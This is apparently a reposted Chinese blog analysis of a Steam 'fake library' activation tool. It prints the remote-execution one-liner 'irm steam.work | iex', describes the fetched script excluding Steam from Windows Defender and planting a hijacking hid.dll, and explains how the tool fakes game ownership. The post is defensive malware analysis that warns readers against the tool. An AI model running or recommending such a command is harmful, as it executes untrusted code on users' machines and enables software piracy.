Steam假入库深入解析

admin 2025年1月5日22:40:04评论215 views字数 3913阅读13分2秒阅读模式
Steam假入库深入解析

来自同事heroman的投稿

前言

前两天想跟朋友一起玩玩Devour就寻思在群里拉人,这时候有个朋友说他俄区号里没这个游戏,打算去淘宝买一个,后来买完之后他跟我们说激活挺麻烦的,我就让他发来看看,结果发现了激活步骤里需要执行标题里的那段指令,因为从事网络安全相关的工作,对这种执行远程脚本的PowerShell命令行很敏感,在网上也查阅过了相关资料,不过貌似这地址的脚本还进行过更新,最新版的分析还未见到,随即心血来潮想分析看看。
Steam假入库深入解析

Steam假入库深入解析

PowerShell脚本

irm steam.work | iex

本身这行命令的作用是从远程拉取一个脚本 (Invoke-RestMethod),接着把拉取到的内容执行 (Invoke-Expression)。所以先分析下这个脚本的内容,我想直接用Postman来拉取内容的,结果发现他貌似有UA校验,遂用PowerShell访问ifconfig.me获得到UA头并填入Postman拉取,最终的脚本内容如下 (拉取于2024-12-28 内容已略微整理):

Steam假入库深入解析

这个脚本本身其实没什么复杂的地方,清理以前的残留文件并且获取到Steam路径和LocalAppData里的Steam路径,然后把steam路径添加到Windows Defender的白名单,接着从他的服务器拉取一个hid.dll到steam安装目录和一个localData.vdf到LocalAppData里的Steam路径(%localappdata%/Steam),最后启动Steam。有意思的是这一版的拉取文件不像以前那样直接是个URL,而是通过HTTP头里的Referer来区分下载的文件。

注入Steam

当脚本执行完后,Steam的安装目录下会有一个hid.dll的文件,当Steam启动的时候会尝试从当前目录下寻找hid.dll并加载,假如当前目录下没有的情况下才会去系统System32的目录寻找,所以他这里的操作相当于劫持了hid.dll,那么我们先分析下这个dll。

Steam假入库深入解析

DllMain里没什么特别的,执行自己的加载函数并且再尝试加载系统本身的hid.dll,我们再看看加载函数 (sub_10001000) 的部分。

Steam假入库深入解析

最开始是动态获取一些API以便后面使用 病毒常见的手段

Steam假入库深入解析

接着是获取%LocalAppData%的路径并且把localData.vdf的路径拼接在后面,这样就和前面脚本写入的文件对应上了。

Steam假入库深入解析

然后把文件的内容读到一个Buffer里给后面加载使用。

Steam假入库深入解析

这里初看是个比较奇怪的解密算法,经过某AI大模型O1的分析发现这里其实是对每个字节做bitwise NOT的操作。

Steam假入库深入解析

上面操作完之后发现还经过一个函数,查看里面的字符串能大概看出是在用zlib解压,最后偷懒让Claude写了个python脚本完成这个dll payload的解密。

import zlib

def process_file(input_file, output_file):
    try:
        with open(input_file, 'rb') as f:
            data = f.read()
        processed = bytes(~b & 0xFF for b in data)
        decompressed = zlib.decompress(processed)
        with open(output_file, 'wb') as f:
            f.write(decompressed)   
        print(f"处理完成。结果已写入: {output_file}")
    except Exception as e:
        print(f"发生错误: {str(e)}")

if __name__ == '__main__':
    input_file = 'localdata.bin'
    output_file = 'dec.bin'
    process_file(input_file, output_file)

加载函数里剩下的部分,经过往IDA里填充一堆PE的结构后能看出是个内存映射加载dll的操作,最后的执行完入口点的函数之后再从导出表里找到loadLib这个方法并执行。

Steam假入库深入解析

至此这个劫持加载的hid.dll完成了自己的使命,接着该分析内存加载的dll的部分了,不过情理之中的是这个文件被加了壳,还是个没听过的国产壳,搜了下发现想脱的话可能性不大了,不过天无绝人之路,静态分析行不通就通过行为进行分析。

Steam假入库深入解析

Steam行为分析

Steam假入库深入解析

通过之前解密后的dll的导入表能看出他的网络通信应该是用了WinINet还有BCrypt相关API做数据的加解密,那么简简单单的让某Claude帮忙写个dll先把一些关键的函数Hook上打印出看看行为,同时也使用Process Monitor来捕获一些关键的文件操作。

Steam假入库深入解析

从打印的信息中首先能看出他对SteamUI.dll做了hook的操作,然后又对一个叫simulator.dll的模块进行了操作,不过原版的Steam是没有simulator.dll这个文件的。后来观察日志发现是那个dll会把原来的steamclient.dll拷贝一份到simulator.dll,并且对SteamUI.dll进行hook的方法经后来查看发现应该是加载dll相关的,所以应该是他把steamclient.dll的加载劫持了,转而加载simulator.dll,猜测这个操作可能是为了绕过Steam检测对steamclient.dll的hook并给用户发小红信吧。

接下来的部分涉及到一部分Steam如何验证及下载游戏的知识,由于我也是刚刚了解如果对于这部分的知识可能解释的有误还请谅解,尽量通俗易懂的来解释。

在Steam上每个游戏都有一个对应的游戏ID,这里用Devour举例它的游戏ID就是1274570。每个游戏还包含一个或多个depot,每个depot里包含的是这个游戏的内容,假如这个游戏支持两个系统,那么大概率每个系统都有一个单独的depot,有时候运行库也是一个单独的depot,这里Devour游戏本体内容在Windows系统上使用的depot的ID是1274571。每个depot里又包含了多个manifest,这里的manifest指的是当前depot里文件的清单,所以通常一个manifest就是一个游戏版本,一般都是用最新的manifest的ID,Devour目前最新的manifest的ID是2612470741675819813。所以假如我们想要下载一个Steam上的游戏就是需要使用最终的这个manifest,但是实际上这个manifest是加密的,只有游戏拥有者才有对应的解密密钥,并且这个密钥是对应depot的,所以假入库的原理大概就是给你下发他所拥有的解密密钥和最新版本游戏的manifest数据,最终骗过Steam让它觉得你已经拥有这个游戏了。

Steam假入库深入解析

从网络通信的部分的日志能看出现在用的接口主要域名都是 sign.steam.work 了,与之前网上看得到版本也有所不同,首先看到的是获取账户信息的接口,由于我之前已经激活过Devour的key了所以账户里有这个游戏的GameId信息 (1274570),能看出该部分使用了当前登录账号的SteamId和好友码进行了加密并传输给服务端。

Steam假入库深入解析
Steam假入库深入解析

接着是首次使用这个假入库的时候,会去拉取目前已经激活了的Devour的depot id(1274571) 和对应的解密密钥,并且保存到Steam安装目录下的package/data目录里,这个文件夹是个隐藏文件夹并且是设置为系统文件的那种,目前这个文件是加密的状态,具体加密的实现没有详细研究,不过观察文件大小是448字节来说,可能还是用的AES128加密的 (加密块大小为16字节 448能被整除)。

Steam假入库深入解析
Steam假入库深入解析

最后是在游戏下载的时候,从请求的文件名部分能看出是在尝试拉取当前游戏最新的manifest (2612470741675819813),最后这个文件被缓存在%LocalAppData%/depotcache这个文件夹里,同样这个文件夹是隐藏的,接着这个文件又被拷贝到本来Steam目录下的depotcache里。

至此假入库完成了所有的部分,不过游戏只能单机游玩,联机的话Steam会有别的校验肯定是无法通过的。

出于职业习惯最后再贴下两个payload的sha1吧

hid.dll 6EE95EB0AD763B1C29EC0B8A2C345F40A4330394

localData.vdf 23B267C016805F758278A045CB89A118868D2F8E

结语

尽管在目前的分析中没有看到恶意的行为,但是并不代表它是安全的,不能保证会不会有什么后门或者暗桩,为了自己账号和电脑的安全还是最好别使用这种真想用假入库的话还有SteamTools呢。想还原的话只要把文中提到的目录及文件删除应该是暂时没问题的。分析过程中还是遇到一些阻碍的,尤其是加壳的部分,查阅以前的分析发现前几个月都还是套壳GreenLuma,现在分析看来可能已经自己实现了假入库的部分,并且关键代码还进行了加壳,看来就连做假入库都在进步我们有什么理由不进步呢。目前也能看出不管是恶意程序还是商业用途的程序加壳和混淆已经是越来越普遍了,基于行为的分析和监控还是越来越重要了,也和我目前工作的内容比较契合。已经进入新的一年了,这么多年过去了感觉自己还是比较菜,不过总归是找到了自己感兴趣的方向,个人感觉本文有个遗憾就是没能解出存密钥的文件,但是人生中总有遗憾,今年也有挺多遗憾的,希望新的一年都能越来越好吧。

原文始发于微信公众号(冲鸭安全):Steam假入库深入解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月5日22:40:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Steam假入库深入解析https://cn-sec.com/archives/3593265.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息